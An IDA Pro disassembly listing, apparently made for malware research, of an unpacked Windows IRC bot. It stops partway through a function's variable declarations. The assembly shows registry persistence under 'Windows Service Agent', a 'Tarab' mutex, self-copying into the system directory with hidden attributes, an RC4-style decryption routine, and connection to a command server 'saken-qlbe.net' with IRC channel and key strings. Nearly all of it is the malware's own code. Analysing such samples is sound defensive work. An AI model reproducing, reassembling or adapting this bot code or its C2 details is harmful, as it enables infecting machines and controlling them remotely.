; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 538C11BEFA9F9D56F23054224D36D849 ; File Name : u:\work\538c11befa9f9d56f23054224d36d849_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0003A8F3 ( 239859.) ; Section size in file : 0003A8F3 ( 239859.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _0 segment para public 'CODE' use32 assume cs:_0 ;org 401000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401404+346p ; sub_418EAE+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi xor edi, edi xor esi, esi mov ebx, offset aWindowsService ; "Windows Service Agent" loc_401010: ; CODE XREF: sub_401000+6Aj lea eax, [ebp+var_4] push edi push eax push edi push 0F003Fh push edi push edi push edi push ds:off_43F054[esi] push ds:dword_43F050[esi] call ds:dword_4E2F7C ; RegCreateKeyExA cmp [ebp+arg_0], edi jz short loc_401051 push [ebp+arg_0] call sub_41BC70 pop ecx push eax push [ebp+arg_0] push 1 push edi push ebx push [ebp+var_4] call ds:dword_4E2FEC ; RegSetValueExA jmp short loc_40105B ; --------------------------------------------------------------------------- loc_401051: ; CODE XREF: sub_401000+33j push ebx push [ebp+var_4] call ds:dword_4E2F2C ; RegDeleteValueA loc_40105B: ; CODE XREF: sub_401000+4Fj push [ebp+var_4] call ds:dword_4E2FA4 ; RegCloseKey add esi, 8 cmp esi, 18h jb short loc_401010 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401071 proc near ; CODE XREF: sub_4010AA+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] or esi, 0FFFFFFFFh test edi, edi jz short loc_4010A3 mov ecx, 0FFh push ebx loc_401088: ; CODE XREF: sub_401071+2Fj mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, ds:dword_43C020[eax*4] xor esi, eax inc edx dec edi jnz short loc_401088 pop ebx loc_4010A3: ; CODE XREF: sub_401071+Fj mov eax, esi pop edi not eax pop esi retn sub_401071 endp ; =============== S U B R O U T I N E ======================================= sub_4010AA proc near ; CODE XREF: sub_416D68+23Fp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BE40 mov [esp+10h+var_10], offset dword_43F068 push [esp+10h+arg_0] mov esi, eax call sub_41E490 mov edi, eax pop ecx test edi, edi pop ecx jnz short loc_4010F5 loc_4010CF: ; CODE XREF: sub_4010AA+37j xor eax, eax jmp short loc_401116 ; --------------------------------------------------------------------------- loc_4010D3: ; CODE XREF: sub_4010AA+4Fj inc ebx push ebx push esi call sub_41C330 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010CF push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41E180 add esp, 10h loc_4010F5: ; CODE XREF: sub_4010AA+23j test byte ptr [edi+0Ch], 10h jz short loc_4010D3 dec ebx push ebx push esi call sub_401071 push esi mov ebx, eax call sub_41C9D0 push edi call sub_41BCF0 add esp, 10h mov eax, ebx loc_401116: ; CODE XREF: sub_4010AA+27j pop edi pop esi pop ebx retn sub_4010AA endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 240h push ebx push esi lea eax, [ebp-34h] push edi xor ebx, ebx push eax xor edi, edi mov byte ptr [ebp-34h], 0Ah mov byte ptr [ebp-33h], 0Eh mov byte ptr [ebp-32h], 20h mov byte ptr [ebp-31h], 48h mov byte ptr [ebp-30h], 0Bh mov byte ptr [ebp-2Fh], 2Bh mov byte ptr [ebp-2Eh], 0Ch mov byte ptr [ebp-2Dh], 23h mov byte ptr [ebp-2Ch], 3Ah mov byte ptr [ebp-2Bh], 27h mov byte ptr [ebp-2Ah], 28h mov byte ptr [ebp-29h], 5Eh mov byte ptr [ebp-28h], 2Ah mov byte ptr [ebp-27h], 1Eh mov byte ptr [ebp-26h], 2Dh mov byte ptr [ebp-25h], 5Ah mov byte ptr [ebp-24h], 1Bh mov byte ptr [ebp-23h], 0Fh mov byte ptr [ebp-22h], 4Ch mov byte ptr [ebp-21h], 44h mov byte ptr [ebp-20h], 16h mov byte ptr [ebp-1Fh], 4 mov byte ptr [ebp-1Eh], 57h mov byte ptr [ebp-1Dh], 23h mov byte ptr [ebp-1Ch], 11h mov byte ptr [ebp-1Bh], 53h mov byte ptr [ebp-1Ah], 38h mov byte ptr [ebp-19h], 13h mov byte ptr [ebp-18h], 0Dh mov byte ptr [ebp-17h], 12h mov byte ptr [ebp-16h], 25h mov byte ptr [ebp-15h], 1Ch mov byte ptr [ebp-14h], 30h mov byte ptr [ebp-13h], 12h mov byte ptr [ebp-12h], 50h mov byte ptr [ebp-11h], 4Fh mov byte ptr [ebp-10h], 39h mov byte ptr [ebp-0Fh], 10h mov byte ptr [ebp-0Eh], 42h mov byte ptr [ebp-0Dh], 1Fh mov byte ptr [ebp-0Ch], 37h mov byte ptr [ebp-0Bh], 1Dh mov byte ptr [ebp-0Ah], 41h mov byte ptr [ebp-9], 55h mov byte ptr [ebp-8], 2Ch mov byte ptr [ebp-7], 41h mov byte ptr [ebp-6], 2Ch mov byte ptr [ebp-5], 58h mov [ebp-4], bl call sub_41BC70 mov esi, 101h mov [ebp-38h], eax push esi lea eax, [ebp-13Ch] push ebx push eax call sub_41E4B0 push esi lea eax, [ebp-240h] push ebx push eax call sub_41E4B0 add esp, 1Ch xor eax, eax mov ecx, 100h loc_401224: ; CODE XREF: _0:0040122Ej mov [ebp+eax-13Ch], al inc eax cmp eax, ecx jb short loc_401224 cmp [ebp+14h], ebx jz short loc_401253 xor eax, eax loc_401237: ; CODE XREF: _0:0040124Fj cmp edi, [ebp+14h] jnz short loc_40123E xor edi, edi loc_40123E: ; CODE XREF: _0:0040123Aj mov edx, [ebp+10h] mov dl, [edi+edx] inc edi mov [ebp+eax-240h], dl inc eax cmp eax, ecx jb short loc_401237 jmp short loc_40126D ; --------------------------------------------------------------------------- loc_401253: ; CODE XREF: _0:00401233j xor esi, esi loc_401255: ; CODE XREF: _0:0040126Bj cmp edi, [ebp-38h] jnz short loc_40125C xor edi, edi loc_40125C: ; CODE XREF: _0:00401258j mov al, [ebp+edi-34h] inc edi mov [ebp+esi-240h], al inc esi cmp esi, ecx jb short loc_401255 loc_40126D: ; CODE XREF: _0:00401251j mov [ebp+14h], ebx xor edi, edi mov eax, 0FFh loc_401277: ; CODE XREF: _0:004012A7j mov ebx, [ebp+14h] mov cl, [ebp+edi-240h] lea esi, [ebp+edi-13Ch] mov dl, [esi] add ebx, edx add ecx, ebx and ecx, eax inc edi mov [ebp+14h], ecx cmp edi, 100h lea ecx, [ebp+ecx-13Ch] mov bl, [ecx] mov [esi], bl mov [ecx], dl jb short loc_401277 xor edi, edi cmp [ebp+0Ch], edi mov [ebp+14h], edi mov [ebp+10h], edi jbe short loc_4012FB loc_4012B6: ; CODE XREF: _0:004012F9j inc edi and edi, eax lea ecx, [ebp+edi-13Ch] mov dl, [ecx] mov bl, dl add ebx, [ebp+14h] and ebx, eax mov esi, ebx mov [ebp+14h], esi lea esi, [ebp+esi-13Ch] mov bl, [esi] mov [ecx], bl mov ebx, [ebp+10h] mov [esi], dl mov cl, [ecx] mov esi, [ebp+8] add ecx, edx and ecx, eax add esi, ebx mov cl, [ebp+ecx-13Ch] xor [esi], cl inc ebx cmp ebx, [ebp+0Ch] mov [ebp+10h], ebx jb short loc_4012B6 loc_4012FB: ; CODE XREF: _0:004012B4j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401300 proc near ; DATA XREF: sub_401404+14o var_2A4 = dword ptr -2A4h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push ds:dword_455F0C call ds:dword_4E3060 ; closesocket call sub_40B854 call ds:dword_4E2F20 ; WSACleanup call ds:dword_4E2F20 ; WSACleanup mov ebx, ds:dword_4F534C push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41E4B0 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41E4B0 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset dword_45517C mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call ds:off_4F5344 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_4F5340 ; CreateProcessA test eax, eax jz short loc_4013C5 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, ds:off_4F533C call esi ; sub_50B3D5 push [ebp+var_C] call esi ; sub_50B3D5 loc_4013C5: ; CODE XREF: sub_401300+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_455178 mov eax, [esp+2A4h+var_2A4] mov large fs:0, eax add esp, 8 push edi call ds:off_4F5338 pop edi pop esi pop ebx loc_4013E8: ; DATA XREF: _2:0043F004o jmp $+5 push 0FFFFh push 539h call sub_419313 pop ecx mov ds:dword_4E2D00, eax pop ecx retn sub_401300 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401404 proc near ; CODE XREF: _0:00422221p var_984 = byte ptr -984h var_880 = byte ptr -880h var_87F = byte ptr -87Fh var_6F0 = byte ptr -6F0h var_5F0 = byte ptr -5F0h var_4EC = byte ptr -4ECh var_3EC = byte ptr -3ECh var_2E8 = byte ptr -2E8h var_1E4 = byte ptr -1E4h var_E0 = dword ptr -0E0h var_D4 = dword ptr -0D4h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 984h push ebx xor ebx, ebx push esi push edi mov [ebp+var_8], ebx mov [ebp+var_C], ebx mov [ebp+var_4], offset sub_401300 push [ebp+var_4] push large dword ptr fs:0 mov large fs:0, esp mov esi, ds:dword_4F537C call esi ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ds:dword_4E2D04, eax call esi ; GetTickCount push eax call sub_41EB60 pop ecx call sub_409D10 push 2 call ds:dword_4E3074 ; SetErrorMode push 7530h push offset aTarab ; "Tarab" push ebx push ebx call ds:dword_4F5378 ; CreateMutexA push eax call ds:dword_4F5374 ; WaitForSingleObject cmp eax, 102h jnz short loc_401484 push 1 call ds:off_4F5338 loc_401484: ; CODE XREF: sub_401404+76j lea eax, [ebp+var_880] push eax push 202h call ds:dword_4E2F38 ; WSAStartup cmp eax, ebx jnz loc_40199C cmp [ebp+var_880], 2 jnz loc_401996 xor eax, eax mov al, [ebp+var_87F] cmp al, 2 jnz loc_401996 mov esi, 104h lea eax, [ebp+var_3EC] push esi push eax call ds:dword_4F5348 ; GetSystemDirectoryA lea eax, [ebp+var_2E8] push esi push eax push ebx call ds:off_4F5370 push eax call ds:off_4F5344 lea eax, [ebp+var_4EC] push eax lea eax, [ebp+var_6F0] push eax push ebx lea eax, [ebp+var_2E8] push ebx push eax call sub_41ED30 lea eax, [ebp+var_4EC] push eax lea eax, [ebp+var_6F0] push eax push offset dword_43FA44 lea eax, [ebp+var_5F0] push esi push eax call sub_41EC30 lea eax, [ebp+var_3EC] push eax lea eax, [ebp+var_2E8] push eax call sub_41EBB0 add esp, 30h test eax, eax jnz loc_4016E7 cmp ds:dword_43F090, ebx mov esi, offset byte_43F0FC jz short loc_40157C push esi xor edi, edi call sub_41BC70 sub eax, 4 pop ecx jz short loc_40157C loc_401559: ; CODE XREF: sub_401404+176j call sub_41EB70 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov ds:byte_43F0FC[edi], dl inc edi call sub_41BC70 sub eax, 4 pop ecx cmp edi, eax jb short loc_401559 loc_40157C: ; CODE XREF: sub_401404+145j ; sub_401404+153j lea eax, [ebp+var_3EC] push esi push eax lea eax, [ebp+var_1E4] push offset dword_43FA4C push eax call sub_41EA60 add esp, 10h lea eax, [ebp+var_1E4] push eax call ds:off_4F536C cmp eax, 0FFFFFFFFh jz short loc_4015BC lea eax, [ebp+var_1E4] push 80h push eax call ds:dword_4F5368 ; SetFileAttributesA loc_4015BC: ; CODE XREF: sub_401404+1A4j mov esi, ds:dword_4F5364 xor edi, edi jmp short loc_4015E8 ; --------------------------------------------------------------------------- loc_4015C6: ; CODE XREF: sub_401404+1F7j call ds:dword_4F5360 ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_4015FD cmp eax, 20h jz short loc_4015DA cmp eax, 5 jnz short loc_4015FD loc_4015DA: ; CODE XREF: sub_401404+1CFj xor edi, edi push 3A98h inc edi call ds:dword_4F534C ; Sleep loc_4015E8: ; CODE XREF: sub_401404+1C0j lea eax, [ebp+var_1E4] push ebx push eax lea eax, [ebp+var_2E8] push eax call esi ; CopyFileA test eax, eax jz short loc_4015C6 loc_4015FD: ; CODE XREF: sub_401404+1CAj ; sub_401404+1D4j lea eax, [ebp+var_1E4] push eax call sub_418D6A pop ecx lea eax, [ebp+var_1E4] push 7 push eax call ds:dword_4F5368 ; SetFileAttributesA push 10h lea eax, [ebp+var_1C] push ebx push eax call sub_41E4B0 push 44h lea eax, [ebp+var_E0] pop esi push esi push ebx push eax call sub_41E4B0 mov [ebp+var_E0], esi xor esi, esi inc esi add esp, 18h mov [ebp+var_D4], offset byte_4E2E78 mov [ebp+var_B4], esi mov [ebp+var_B0], bx call ds:dword_4F535C ; GetCurrentProcessId push eax push esi push 100000h call ds:dword_4F5358 ; OpenProcess lea ecx, [ebp+var_2E8] push ecx push eax lea eax, [ebp+var_1E4] push eax lea eax, [ebp+var_984] push offset dword_43FA54 push eax call sub_41EA60 add esp, 14h lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_E0] push eax lea eax, [ebp+var_3EC] push eax push ebx push 28h push esi push ebx lea eax, [ebp+var_984] push ebx push eax lea eax, [ebp+var_1E4] push eax call ds:dword_4F5340 ; CreateProcessA test eax, eax jz short loc_4016E7 push 0C8h call ds:dword_4F534C ; Sleep push [ebp+var_1C] mov esi, ds:off_4F533C call esi ; sub_50B3D5 push [ebp+var_18] call esi ; sub_50B3D5 call ds:dword_4E2F20 ; WSACleanup push ebx call ds:off_4F5338 loc_4016E7: ; CODE XREF: sub_401404+134j ; sub_401404+2B9j cmp ds:dword_4F3308, 2 jle short loc_401733 mov eax, ds:dword_4F330C push dword ptr [eax+4] call sub_41E710 pop ecx mov esi, eax push 0FFFFFFFFh push esi call ds:dword_4F5374 ; WaitForSingleObject push esi call ds:off_4F533C mov eax, ds:dword_4F330C cmp [eax+8], ebx jz short loc_401733 push 7D0h call ds:dword_4F534C ; Sleep mov eax, ds:dword_4F330C push dword ptr [eax+8] call ds:dword_4F5354 ; DeleteFileA loc_401733: ; CODE XREF: sub_401404+2EAj ; sub_401404+314j cmp ds:dword_43F094, ebx jz short loc_401750 cmp ds:dword_4E3094, ebx jnz short loc_401750 lea eax, [ebp+var_5F0] push eax call sub_401000 pop ecx loc_401750: ; CODE XREF: sub_401404+335j ; sub_401404+33Dj lea eax, [ebp+var_9C] push offset dword_43FA60 push eax call sub_41EA60 push ebx lea eax, [ebp+var_9C] push ebx push eax call sub_40B691 lea eax, [ebp+var_9C] push eax call sub_415A3C push 0B80h push ebx push offset dword_455180 call sub_41E4B0 lea eax, [ebp+var_9C] push offset unk_43FA7C push eax call sub_41EA60 push ebx lea eax, [ebp+var_9C] push 1 push eax call sub_40B691 add esp, 38h mov esi, eax mov edi, ds:dword_4F5350 lea eax, [ebp+var_8] push eax push ebx push ebx push offset sub_41A689 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_455F14[esi], eax jnz short loc_4017F0 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_9C] push offset unk_43FAA0 push eax call sub_41EA60 add esp, 0Ch loc_4017F0: ; CODE XREF: sub_401404+3CFj lea eax, [ebp+var_9C] push eax call sub_415A3C push 2 call sub_40B8D3 pop ecx test eax, eax pop ecx jnz short loc_401875 lea eax, [ebp+var_9C] push offset dword_43FAE0 push eax call sub_41EA60 push ebx lea eax, [ebp+var_9C] push 2 push eax call sub_40B691 add esp, 14h mov esi, eax lea eax, [ebp+var_8] push eax push ebx push esi push offset sub_410B14 push ebx push ebx call edi ; CreateThread imul esi, 234h cmp eax, ebx mov ds:dword_455F14[esi], eax jnz short loc_401868 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_9C] push offset dword_43FB0C push eax call sub_41EA60 add esp, 0Ch loc_401868: ; CODE XREF: sub_401404+447j lea eax, [ebp+var_9C] push eax call sub_415A3C pop ecx loc_401875: ; CODE XREF: sub_401404+403j call sub_41EB70 push 7Fh and eax, 3 push offset aSakenQlbe_net ; "saken-qlbe.net" push offset dword_4E2D0C mov ds:dword_4E2E74, eax call sub_41E510 mov eax, ds:dword_43F070 push 3Fh mov edi, offset dword_4E2D8C push offset a0 ; "#0#" push edi mov ds:dword_4E2E5C, eax call sub_41E510 push 3Fh mov esi, offset dword_4E2DCC push offset a7lome ; "7lome" push esi call sub_41E510 mov ds:dword_4E2E60, ebx loc_4018C7: ; CODE XREF: sub_401404+53Ej ; sub_401404+588j add esp, 24h loc_4018CA: ; CODE XREF: sub_401404+546j mov [ebp+var_4], ebx loc_4018CD: ; CODE XREF: sub_401404+4FFj push offset dword_4E2D08 mov ds:dword_4E2E70, ebx call sub_4019A5 cmp eax, 2 jz loc_401991 cmp ds:dword_4E2E70, ebx jz short loc_4018F1 dec [ebp+var_4] loc_4018F1: ; CODE XREF: sub_401404+4E8j push 0BB8h call ds:dword_4F534C ; Sleep inc [ebp+var_4] cmp [ebp+var_4], 6 jl short loc_4018CD cmp [ebp+var_C], ebx jz short loc_401944 push 7Fh push offset aSakenQlbe_net ; "saken-qlbe.net" push offset dword_4E2D0C call sub_41E510 mov eax, ds:dword_43F070 push 3Fh push offset a0 ; "#0#" push edi mov ds:dword_4E2E5C, eax call sub_41E510 push 3Fh push offset a7lome ; "7lome" push esi call sub_41E510 mov [ebp+var_C], ebx jmp short loc_4018C7 ; --------------------------------------------------------------------------- loc_401944: ; CODE XREF: sub_401404+504j cmp ds:byte_43F0E0, bl jz loc_4018CA push 7Fh push offset byte_43F0E0 push offset dword_4E2D0C call sub_41E510 mov eax, ds:dword_43F074 push 3Fh push offset dword_43F0F0 push edi mov ds:dword_4E2E5C, eax call sub_41E510 push 3Fh push offset a7lome_0 ; "7lome" push esi call sub_41E510 mov [ebp+var_C], 1 jmp loc_4018C7 ; --------------------------------------------------------------------------- loc_401991: ; CODE XREF: sub_401404+4DCj call sub_40B854 loc_401996: ; CODE XREF: sub_401404+A1j ; sub_401404+B1j call ds:dword_4E2F20 ; WSACleanup loc_40199C: ; CODE XREF: sub_401404+94j pop edi pop esi xor eax, eax pop ebx leave retn 10h sub_401404 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019A5 proc near ; CODE XREF: sub_401404+4D4p ; DATA XREF: sub_401C87+66EDo var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_4019CA: ; CODE XREF: sub_4019A5+E6j ; sub_4019A5+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41E4B0 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call ds:dword_4E2FC8 ; htons mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AD91 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401B07 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41E4B0 push 0 lea eax, [ebp+var_2C] push ds:dword_43F0A4 push ds:dword_43F0A0 push eax call sub_40B38F mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_455F18 push edi push eax call sub_41E510 add esp, 28h push 6 push 1 push 2 call ds:dword_4E3048 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov ds:dword_455F0C[eax], esi lea eax, [ebp+var_10] push eax push esi call ds:dword_4E2F70 ; connect cmp eax, 0FFFFFFFFh jnz short loc_401A90 push esi call ds:dword_4E3060 ; closesocket call sub_40ADBA push 7D0h loc_401A85: ; CODE XREF: sub_4019A5+146j call ds:dword_4F534C ; Sleep jmp loc_4019CA ; --------------------------------------------------------------------------- loc_401A90: ; CODE XREF: sub_4019A5+CDj lea eax, [ebp+var_18C] push eax push offset unk_43FB40 call sub_415AB0 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401B0B add esp, 28h mov edi, eax push esi call ds:dword_4E3060 ; closesocket test edi, edi jz loc_4019CA cmp edi, 1 jnz short loc_401AED push 0DBBA0h jmp short loc_401A85 ; --------------------------------------------------------------------------- loc_401AED: ; CODE XREF: sub_4019A5+13Fj cmp edi, 2 jnz loc_4019CA push [ebp+var_34] call sub_40B9A7 pop ecx push edi pop eax loc_401B01: ; CODE XREF: sub_4019A5+164j pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- loc_401B07: ; CODE XREF: sub_4019A5+5Aj xor eax, eax jmp short loc_401B01 sub_4019A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B0B proc near ; CODE XREF: sub_4019A5+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41EF80 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_401B29: ; CODE XREF: sub_401B0B+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_401B29 cmp ds:byte_4E2E6C, bl jz short loc_401B50 push offset byte_4E2E6C push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_409C2F add esp, 0Ch loc_401B50: ; CODE XREF: sub_401B0B+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40B38F add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41EA60 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41BC70 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jnz short loc_401BBA push [ebp+arg_0] call ds:dword_4E3060 ; closesocket push 1388h call ds:dword_4F534C ; Sleep loc_401BB3: ; CODE XREF: sub_401B0B+D9j ; sub_401B0B+153j xor eax, eax loc_401BB5: ; CODE XREF: sub_401B0B+16Fj ; sub_401B0B+177j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401BBA: ; CODE XREF: sub_401B0B+92j ; sub_401B0B+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41E4B0 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call ds:dword_4E2FE0 ; recv test eax, eax jle short loc_401BB3 lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_418A5E pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401BBA lea edi, [ebp+var_A90] loc_401C0B: ; CODE XREF: sub_401B0B+165j xor esi, esi inc esi loc_401C0E: ; CODE XREF: sub_401B0B+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401C87 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401C51 push 7D0h call ds:dword_4F534C ; Sleep jmp short loc_401C0E ; --------------------------------------------------------------------------- loc_401C51: ; CODE XREF: sub_401B0B+137j cmp esi, 0FFFFFFFDh jz short loc_401C7F cmp esi, 0FFFFFFFEh jz short loc_401C77 cmp esi, 0FFFFFFFFh jz loc_401BB3 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401C0B jmp loc_401BBA ; --------------------------------------------------------------------------- loc_401C77: ; CODE XREF: sub_401B0B+14Ej xor eax, eax inc eax jmp loc_401BB5 ; --------------------------------------------------------------------------- loc_401C7F: ; CODE XREF: sub_401B0B+149j push 2 pop eax jmp loc_401BB5 sub_401B0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C87 proc near ; CODE XREF: sub_401B0B+12Ap var_5D88 = byte ptr -5D88h var_5988 = byte ptr -5988h var_5588 = byte ptr -5588h var_53F8 = byte ptr -53F8h var_51F8 = byte ptr -51F8h var_50F4 = byte ptr -50F4h var_4FF4 = byte ptr -4FF4h var_4EF0 = byte ptr -4EF0h var_4DF0 = byte ptr -4DF0h var_4CF0 = byte ptr -4CF0h var_4BF0 = byte ptr -4BF0h var_4AF0 = byte ptr -4AF0h var_48F0 = byte ptr -48F0h var_47EC = byte ptr -47ECh var_46EC = byte ptr -46ECh var_45EC = byte ptr -45ECh var_4588 = byte ptr -4588h var_4488 = byte ptr -4488h var_4288 = byte ptr -4288h var_4188 = byte ptr -4188h var_4088 = byte ptr -4088h var_3F88 = dword ptr -3F88h var_3F84 = byte ptr -3F84h var_3F04 = byte ptr -3F04h var_3E00 = byte ptr -3E00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = dword ptr -3CE8h var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h 